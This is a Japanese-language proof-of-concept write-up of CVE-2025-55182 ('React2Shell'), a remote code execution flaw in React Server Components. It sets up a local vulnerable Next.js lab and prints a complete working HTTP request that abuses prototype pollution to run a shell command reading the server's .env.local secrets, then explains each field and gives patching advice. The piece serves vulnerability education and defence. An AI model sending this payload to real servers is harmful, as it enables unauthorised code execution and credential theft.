CVE-2025-55182（React2Shellとしても知られる）は、React Server Componentsに影響を与える重大なリモートコード実行（RCE）脆弱性です。この欠陥により、認証されていない攻撃者が、ReactのFlightプロトコルにおける安全でないデシリアライゼーション問題を悪用して、脆弱なサーバー上で任意のコードを実行できます。
CVSSスコア10.0という評価から、この脆弱性は非常に深刻であり、即時対応が必要です。この投稿では、脆弱性の詳細、エクスプロイトの仕組みを説明し、**概念実証（PoC）**デモを提供します。さっそく見ていきましょう。
以下のReact Server Componentsおよび関連パッケージのバージョンが影響を受けます：
React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Affected Packages:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
React.jsは、ユーザーインターフェースを構築するための最も人気のあるJavaScriptライブラリの1つであり、特に**シングルページアプリケーション（SPA）**の文脈で使用されます。これにより、開発者は動的でインタラクティブなユーザーエクスペリエンスを作成できます。
React Server Components（RSC）は、Reactアプリの一部をクライアントではなくサーバーでレンダリングできる実験的な機能です。これにより、クライアント側で必要なJavaScriptの量が減り、特に大規模なアプリケーションでパフォーマンスが向上します。
しかし、RSCは特にサーバーとクライアント間でのデータ交換方法に新たな複雑さをもたらします。CVE-2025-55182は、RSCでサーバーとクライアント間のデータ転送に使用されるFlightプロトコルに関するそのような問題の1つを悪用します。
CVE-2025-55182は、ReactのFlightプロトコルにおける安全でないデシリアライゼーションに起因します。デシリアライゼーションとは、シリアル化されたデータ（通常はJSON）をメモリ内のオブジェクトに変換するプロセスです。Reactはこのプロセスを使用して、サーバーサイドレンダリング中にサーバーとクライアント間で交換されるデータを処理します。
しかし、Reactのデシリアライゼーションの実装は安全ではありません。具体的には、Reactはオブジェクトのプロパティにアクセスするためにブラケット記法（例: moduleExports[metadata[2]]）を使用しており、これにより攻撃者はJavaScriptオブジェクトのプロトタイプチェーンを操作できます。これによりプロトタイプ汚染が発生し、予期しない方法でオブジェクトのプロパティを変更できるようになり、攻撃者がデシリアライゼーションロジックを悪用できるようになります。
脆弱性の根本は、ReactがFlightプロトコルのペイロードを処理する方法にあります。プロパティアクセスにブラケット記法を使用することで、攻撃者はプロトタイプチェーンをたどり、通常はアクセスできないはずのプロパティ（constructorなど）にアクセスできるようになります。このプロパティを操作することで、攻撃者はグローバルなFunctionコンストラクタにアクセスし、サーバー上で任意のJavaScriptコードを実行できます。
エクスプロイトは、特別に細工されたペイロードをサーバーに送信することで動作し、Flightプロトコルのデシリアライゼーションロジックを操作します。プロトタイプ汚染と安全でないデシリアライゼーションを組み合わせることで、攻撃者はサーバーの制御を獲得し、任意のコードを実行できます。
攻撃の主要な構成要素は次のとおりです：
プロトタイプ汚染: 攻撃者はオブジェクトのプロトタイプチェーンを操作して、constructorプロパティやFunctionプロパティなどの新しいプロパティを注入します。
ペイロードの実行: 攻撃者がFunctionコンストラクタにアクセスすると、ファイルの読み取りやシステムコマンドの実行などの任意のJavaScriptコードを実行できます。
エクスプロイトをテストするには、脆弱なReact環境が必要です。セットアップ方法は次のとおりです：
npx [email protected] poc-react2shell cd poc-react2shell
または、脆弱な設定を既に含む事前構成済みのGitHubリポジトリを使用することもできます。
テスト環境ファイルを作成する
プロジェクトのルートディレクトリに、APIキーなどの機密データを含む.env.localファイルを作成します。攻撃者はPoCでこのファイルを標的にします：
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
開発サーバーを起動する
開発サーバーを実行します：
npm run dev
脆弱なサーバーは http://localhost:3000 で実行されているはずです。
環境が準備できたら、悪意のあるペイロードを送信してエクスプロイトをトリガーできます。ここでBurp Suiteやその他のHTTPプロキシツールが役立ちます。
悪意のあるペイロードを送信する
Burp Suiteを開き、Repeaterタブに移動します。ターゲットURLを http://localhost:3000/ に設定し、次の悪意のあるペイロードを送信します：
POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
応答を分析する
リクエストを送信した後、エクスプロイトが成功すると、サーバーは.env.localファイルの内容（または環境変数内の機密データ）で応答します。これにより、攻撃者が機密データにアクセスしたことが確認されます。
Host: ターゲットサーバーを指定します（localhost:3000）。
User-Agent: リクエストを行うクライアントを識別します。通常はブラウザからの文字列ですが、ここでは攻撃を難読化するために細工されている可能性があります。
Next-Action: おそらくNext.jsの処理の一部であり、サーバーを混乱させたり、デシリアライゼーションプロセスと相互作用したりする可能性があります。
X-Nextjs-Request-Id: Next.jsでの追跡とデバッグのための一意のリクエストID。
Content-Type: マルチパートフォームデータ。JSONやファイルアップロードなどの構造化データに使用されます。
Content-Length: リクエストボディの長さを示します。
Field 0: プロトタイプ汚染をトリガーするペイロードが含まれています。オブジェクトのプロトタイプを変更し、新しいthenプロパティを追加し、悪意のある_responseオブジェクトを含みます。_prefixはchild_processコマンドを実行して.env.localファイルを読み取ります。
Field 1: 攻撃を伝搬するためにField 0を参照します。
Field 2: 空の配列で、ペイロードの構造がそのまま維持されるようにします。
CVE-2025-55182の脆弱性により、攻撃者は以下が可能になります：
サーバー上で任意のコードを実行する。
APIキーや設定ファイルなどの機密ファイルを読み取る。
リバースシェルを確立し、サーバーの完全な制御を獲得する可能性がある。
サーバーから機密データを流出させる。
CVE-2025-55182（React2Shell）は、React Server Componentsにおける重大な脆弱性であり、認証されていない攻撃者が脆弱なサーバー上で任意のコードを実行できるようにします。安全でないデシリアライゼーションとプロトタイプ汚染を悪用することで、攻撃者はサーバーを完全に制御し、機密データを読み取り、悪意のあるコマンドを実行できます。
React Server Componentsを使用している場合、この脆弱性を軽減するために、最新のパッチ適用済みバージョンに更新することが重要です。入力検証や適切なデシリアライゼーション処理などのセキュリティのベストプラクティスに従うことは、同様の脆弱性を防ぐために不可欠です。
この概念実証は、教育および研究目的のみを目的としています。システム所有者からの明示的な書面による同意なしに、いかなるシステムでも脆弱性を悪用またはテストしようとしないでください。許可のないテストは違法で非倫理的な可能性があります。サイバーセキュリティにおいては、常に合法的かつ責任ある実践を遵守してください。
